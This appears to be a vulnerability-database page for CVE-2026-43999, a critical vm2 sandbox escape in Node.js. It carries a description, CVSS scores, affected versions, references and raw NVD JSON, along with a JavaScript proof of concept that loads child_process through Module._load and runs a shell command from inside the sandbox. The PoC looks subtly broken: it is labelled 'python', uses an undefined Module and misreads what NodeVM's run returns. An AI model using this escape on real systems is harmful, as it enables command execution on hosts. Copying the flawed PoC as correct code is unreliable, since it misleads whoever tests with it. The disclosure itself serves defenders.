CVE-2026-43999

Description

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution. This vulnerability is fixed in 3.11.0.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE

vm2 < 3.11.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const {NodeVM} = require('vm2');

// Vulnerable configuration: allows 'module' or uses wildcard '*'
const vm = new NodeVM({
    require: {
        external: true,
        builtin: ['*'], 
    },
});

// Malicious code running inside the sandbox
const code = `
    // Use Module._load to bypass the whitelist restrictions
    const process = Module._load('child_process');
    // Execute arbitrary command (e.g., 'whoami')
    const output = process.execSync('whoami').toString();
    output;
`;

console.log(vm.run(code));

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43999
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43999
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43999/
[4] VulDB https://vuldb.com/cve/CVE-2026-43999
[5] https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8
[6] https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43999", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:16.450", "lastModified": "2026-05-14T16:16:23.190", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution. This vulnerability is fixed in 3.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.11.0", "matchCriteriaId": "6DD48308-6219-4C66-9BE7-246EE56FB834"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}